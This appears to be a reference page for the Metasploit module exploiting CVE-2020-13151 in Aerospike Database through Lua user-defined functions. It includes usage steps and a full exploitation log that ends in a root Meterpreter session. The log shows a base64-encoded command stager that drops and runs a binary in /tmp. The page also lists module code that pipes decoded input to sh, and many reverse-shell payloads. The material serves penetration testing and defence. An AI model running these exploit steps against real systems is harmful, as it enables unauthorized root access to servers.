Aerospike Database UDF Lua Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/aerospike_database_udf_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Aerospike Database UDF Lua Code Execution
Module: exploit/linux/misc/aerospike_database_udf_cmd_exec
Source code: modules/exploits/linux/misc/aerospike_database_udf_cmd_exec.rb
Disclosure date: 2020-07-31
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): 3000
List of CVEs: CVE-2020-13151
Aerospike Database versions before 5.1.0.3 permitted
user-defined functions (UDF) to call the os.execute Lua
function. This module creates a UDF utilising this function
to execute arbitrary operating system commands with the
privileges of the user running the Aerospike service. This
module does not support authentication; however Aerospike
Database Community Edition does not enable authentication by
default. This module has been tested successfully on Ubuntu
with Aerospike Database Community Edition versions 4.9.0.5,
4.9.0.11 and 5.0.0.10.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/linux/misc/aerospike_database_udf_cmd_exec
msf exploit(aerospike_database_udf_cmd_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Aerospike Database versions before 5.1.0.3 permitted
user-defined functions (UDF) to call the os.execute
Lua function.
This module creates a UDF utilising this function to execute arbitrary operating system commands with the privileges of the user running the Aerospike service.
This module does not support authentication; however Aerospike Database Community Edition does not enable authentication by default.
This module has been tested successfully on Ubuntu with Aerospike Database Community Edition versions 4.9.0.5, 4.9.0.11 and 5.0.0.10.
Verification Steps
Download a vulnerable version of Aerospike Database Community Edition from:
- https://www.aerospike.com/artifacts/aerospike-server-community/
Decompress the compressed .tgz software installer archive file:
$ gunzip aerospike-server-community-5.0.0.10-ubuntu18.04.tgz
$ tar xvf aerospike-server-community-5.0.0.10-ubuntu18.04.tar
Install:
$ cd aerospike-server-community-5.0.0.10-ubuntu18.04
$ sudo ./asinstall
Start the aerospike service:
$ sudo service aerospike start
- Start msfconsole
- Do:
use exploit/linux/misc/aerospike_database_udf_cmd_exec - Do:
set RHOSTS [IP] - Do:
set target [target] - Do:
set payload [payload] - Do:
set LHOST [IP] - Do:
exploit
Options
UDF_DIRECTORY
Directory where Lua UDF files are stored (Default: /opt/aerospike/usr/udf/lua/)
Scenarios
Aerospike Database Community Edition version 5.0.0.10 on Ubuntu 20.04 (x64)
msf6 > use exploit/linux/misc/aerospike_database_udf_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set rhost 172.16.191.208
rhost => 172.16.191.208
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux (Dropper)
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set target 1
target => 1
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set payload
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set verbose true
verbose => true
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] 172.16.191.208:3000 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.191.208:3000 - Aerospike Database version 5.0.0.10
[+] 172.16.191.208:3000 - The target appears to be vulnerable.
[*] 172.16.191.208:3000 - Sending payload (123 bytes) ...
[*] 172.16.191.208:3000 - Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1torBC/pWgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/zqOkT.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/qXNWk' < '/tmp/zqOkT.b64' ; chmod +x '/tmp/qXNWk' ; '/tmp/qXNWk' & sleep 2 ; rm -f '/tmp/qXNWk' ; rm -f '/tmp/zqOkT.b64'"]
[*] 172.16.191.208:3000 - Creating UDF 'DpdWZwYHiuZvjods.lua' ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (976712 bytes) to 172.16.191.208
[*] 172.16.191.208:3000 - UDF 'DpdWZwYHiuZvjods.lua' removed successfully
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.208:55852) at 2020-12-05 09:09:27 -0500
[*] Transmitting intermediate stager...(106 bytes)
[*] 172.16.191.208:3000 - Command Stager progress - 100.00% done (773/773 bytes)
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : ubuntu.local
OS : Ubuntu 20.04 (Linux 5.4.0-53-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/misc/aerospike_database_udf_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/aerospike_database_udf_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show info
Name: Aerospike Database UDF Lua Code Execution
Module: exploit/linux/misc/aerospike_database_udf_cmd_exec
Platform: Linux, Unix
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2020-07-31
Provided by:
b4ny4n
bcoles <[email protected]>
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux (Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
Aerospike Database versions before 5.1.0.3 permitted user-defined
functions (UDF) to call the `os.execute` Lua function. This module
creates a UDF utilising this function to execute arbitrary operating
system commands with the privileges of the user running the
Aerospike service. This module does not support authentication;
however Aerospike Database Community Edition does not enable
authentication by default. This module has been tested successfully
on Ubuntu with Aerospike Database Community Edition versions
4.9.0.5, 4.9.0.11 and 5.0.0.10.
References:
https://www.exploit-db.com/exploits/49067
https://nvd.nist.gov/vuln/detail/CVE-2020-13151
https://packetstormsecurity.com/files/160106
https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3
https://github.com/b4ny4n/CVE-2020-13151
https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html
https://www.aerospike.com/docs/operations/manage/udfs/
Module Options
This is a complete list of options available in the linux/misc/aerospike_database_udf_cmd_exec exploit:
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show options
Module options (exploit/linux/misc/aerospike_database_udf_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/aerospike_database_udf_cmd_exec exploit:
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show advanced
Module advanced options (exploit/linux/misc/aerospike_database_udf_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
UDF_DIRECTORY /opt/aerospike/usr/udf/lua/ yes Directory where Lua UDF files are stored
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/aerospike_database_udf_cmd_exec module can exploit:
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux (Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/aerospike_database_udf_cmd_exec exploit:
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/aerospike_database_udf_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- error
- UDF registration failed: <ERROR>: <VALUE>
- UDF registration failed
- UDF '<FNAME>' could not be removed
- Connection failed
- Target is not Aerospike Database
- Version is not vulnerable
- User defined functions are not supported
- Payload size (<PAYLOAD.ENCODED.LENGTH> bytes) is large than maximum permitted size (<MAX_SIZE> bytes)
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
error
Here is a relevant code snippet related to the "error" error message:
147: #
148: # This would cause the subsequent call to unregister the UDF to fail,
149: # permanently backdooring the system (that's bad).
150: res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})
151:
152: return unless res.to_s.include?('error')
153:
154: if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
155: print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
156: else
157: print_error('UDF registration failed')
UDF registration failed: <ERROR>: <VALUE>
Here is a relevant code snippet related to the "UDF registration failed: <ERROR>: <VALUE>" error message:
150: res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})
151:
152: return unless res.to_s.include?('error')
153:
154: if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
155: print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
156: else
157: print_error('UDF registration failed')
158: end
159: ensure
160: # NOTE: unregistering the UDF is super important as leaving the UDF
UDF registration failed
Here is a relevant code snippet related to the "UDF registration failed" error message:
152: return unless res.to_s.include?('error')
153:
154: if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
155: print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
156: else
157: print_error('UDF registration failed')
158: end
159: ensure
160: # NOTE: unregistering the UDF is super important as leaving the UDF
161: # registered causes the payload to be executed repeatedly, effectively
162: # permanently backdooring the system (that's bad).
UDF '<FNAME>' could not be removed
Here is a relevant code snippet related to the "UDF '<FNAME>' could not be removed" error message:
161: # registered causes the payload to be executed repeatedly, effectively
162: # permanently backdooring the system (that's bad).
163: if remove_udf(fname).to_s.include?('ok')
164: vprint_status("UDF '#{fname}' removed successfully")
165: else
166: print_warning("UDF '#{fname}' could not be removed")
167: end
168: end
169:
170: def check
171: connect
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
171: connect
172:
173: res = build
174:
175: unless res
176: return CheckCode::Unknown('Connection failed')
177: end
178:
179: version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first
180:
181: unless version
Target is not Aerospike Database
Here is a relevant code snippet related to the "Target is not Aerospike Database" error message:
177: end
178:
179: version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first
180:
181: unless version
182: return CheckCode::Safe('Target is not Aerospike Database')
183: end
184:
185: vprint_status("Aerospike Database version #{version}")
186:
187: if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
Version is not vulnerable
Here is a relevant code snippet related to the "Version is not vulnerable" error message:
183: end
184:
185: vprint_status("Aerospike Database version #{version}")
186:
187: if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
188: return CheckCode::Safe('Version is not vulnerable')
189: end
190:
191: unless features.to_s.include?('udf')
192: return CheckCode::Safe('User defined functions are not supported')
193: end
User defined functions are not supported
Here is a relevant code snippet related to the "User defined functions are not supported" error message:
187: if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
188: return CheckCode::Safe('Version is not vulnerable')
189: end
190:
191: unless features.to_s.include?('udf')
192: return CheckCode::Safe('User defined functions are not supported')
193: end
194:
195: CheckCode::Appears
196: end
197:
Payload size (<PAYLOAD.ENCODED.LENGTH> bytes) is large than maximum permitted size (<MAX_SIZE> bytes)
Here is a relevant code snippet related to the "Payload size (<PAYLOAD.ENCODED.LENGTH> bytes) is large than maximum permitted size (<MAX_SIZE> bytes)" error message:
198: def exploit
199: # NOTE: maximum packet size is 65,535 bytes and we lose some space to
200: # packet overhead, command stager overhead, and double base64 encoding.
201: max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
202: if payload.encoded.length > max_size
203: fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
204: end
205:
206: print_status("Sending payload (#{payload.encoded.length} bytes) ...")
207: case target['Type']
208: when :unix_command
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- EDB-49067
- CVE-2020-13151
- PACKETSTORM-160106
- https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3
- https://github.com/b4ny4n/CVE-2020-13151
- https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html
- https://www.aerospike.com/docs/operations/manage/udfs/
See Also
Check also the following modules related to this module:
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/hikvision_rtsp_bof
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/hp_nnmi_pmd_bof
- exploit/linux/misc/hp_vsa_login_bof
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/igel_command_injection
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/linux/misc/lprng_format_string
- exploit/linux/misc/mongod_native_helper
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/linux/misc/opennms_java_serialize
- exploit/linux/misc/qnap_transcode_server
- exploit/linux/misc/quest_pmmasterd_bof
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/linux/misc/sercomm_exec
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/misc/zabbix_server_exec
Authors
- b4ny4n
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
